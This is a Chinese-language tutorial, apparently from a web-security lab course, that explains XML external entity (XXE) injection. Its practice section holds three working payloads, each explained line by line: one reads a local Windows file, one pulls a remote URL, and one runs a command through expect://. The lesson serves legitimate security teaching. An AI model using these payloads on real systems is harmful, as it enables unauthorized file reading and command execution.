本期内容涉及到很多前面的内容,因此复习后可以更好的了解本期内容
介绍
XXE -"xml external entity injection"即"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
个人评价:需要有一定的网站开发的知识储备
适用场景:适用于任何涉及XML数据解析的应用程序或服务
实际反馈:可以用来攻击内网和读取服务器文件
原理
XXE漏洞(XML外部实体注入)是一种常见的安全漏洞,它允许攻击者利用XML解析器处理外部实体时的安全缺陷,通过注入恶意外部实体,实现敏感数据读取、服务器端请求伪造(也就是SSRF后面会学到)或远程代码执行(RCE)
也就是XML外部实体(XXE)漏洞是指在处理XML输入时,没有正确禁用外部实体引用而导致的安全漏洞。
XXE漏洞就像是一个不设防的快递收发站。
假设你是一个快递收发站的管理员(相当于服务器),正常情况下,你会按照寄件人(外部用户)的要求,接收并转发包裹(数据请求)。但是,这个 XXE 漏洞就好比这个收发站没有对快递包裹进行严格的安检(没有正确配置 XML 解析器)。
攻击者就好比是心怀恶意的寄件人,他们寄来的包裹里面会附带一个特殊的纸条(恶意构造的外部实体引用),比如要求你去隔壁公司的保险柜(系统中的敏感文件,像配置文件、密码文件等)取一份机密文件,然后再把这份文件当作普通包裹寄回给他(把敏感信息泄露出去)。
由于收发站没有安检(服务器存在 XXE 漏洞),它就会按照包裹里的纸条要求去做,导致本该保密的信息被泄露,这就如同服务器执行了攻击者构造的恶意 XML 请求,读取了本地文件等敏感信息并反馈给了攻击者。
很像之前学过的SQL注入,但是是完全不同的,大家一定要仔细理解
因此,我们首先要了解一些新知识
XML声明
假设你正在写一封信,信的开头会写上收信人的地址和邮编等基本信息。XML声明就像是这封信的开头部分,它告诉阅读者(比如浏览器或其他程序)这封信(XML文档)的基本信息。
DTD文档类型定义(Document Type Definition)
假设你写信时,有一套固定的格式要求,比如信必须有开头、正文和结尾,而且开头必须写日期,结尾必须写祝福语。这套格式要求就像是DTD文档类型定义。
文档元素
你写信时,信的内容被分成了几个部分,比如开头是问候语,中间是正文,结尾是祝福语。这些部分就像是文档元素。
实践
首先,什么是api
API(应用程序编程接口)可以比喻为一家饭店的菜单,你想吃什么需要通过菜单来和厨师(应用程序)联系
而本期内容没有标准答案,有很多方法,在此列举一些,和之前讲过的目录遍历方式一样,指定你本地电脑的文件即可
1,
XML
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>
-
<?xml version="1.0"?>
:声明了 XML 文档的版本,这里是 1.0 版本,这是标准的 XML 开头声明,用于定义文档的 XML 版本。 -
<!DOCTYPE ANY [
:这是文档类型定义(DTD)的开始标记。ANY
表示文档的根元素可以是任意名称,在这里是为后续定义外部实体做准备。 -
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
:这一行定义了一个名为xxe
的外部实体,SYSTEM
关键字指定了实体的类型为系统外部实体,其值file:///c:/windows/win.ini
表示从本地文件系统中读取C
盘windows
目录下的win.ini
文件作为该实体的值。通过这种方式,攻击者可以将本地文件的内容包含到 XML 文档中,如果服务器端在解析 XML 时没有正确处理外部实体引用,就会导致 XXE 漏洞被利用。 -
<a>&xxe;</a>
:在 XML 元素<a>
中引用了之前定义的xxe
外部实体,当服务器端解析这个 XML 时,会将&xxe;
替换为从file:///c:/windows/win.ini
文件中读取的内容,从而实现了读取本地文件的目的,这是 XXE 漏洞的一种典型利用方式。
2,
XML
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://example.com/test.txt">]>
<content>&xxe;</content>
介绍:通过将外部实体指向一个远程 HTTP URL,从远程服务器上读取文件内容。如果服务器端在解析 XML 时允许外部实体引用,并且网络配置允许访问外部网络,攻击者可以通过这种方式获取远程服务器上的敏感信息,或者进行其他恶意操作,如访问内部网络资源等。
3,
XML
<?xml version="1.0"?>
<!DOCTYPE cmd [
<!ENTITY xxe SYSTEM "expect://id">]>
<data>&xxe;</data>
介绍:有些 XML 解析器会将外部实体的值作为系统命令来执行,在这个例子中,expect://id
会尝试在服务器上执行 id
命令,从而获取服务器上当前用户的权限信息等。不过,这种方式对解析器的要求较高,并非所有解析器都会支持。
至此,xxe模块完成
本期内容同样需要一定的网站开发基础,但是通过详细的解释,希望大家可以更好了解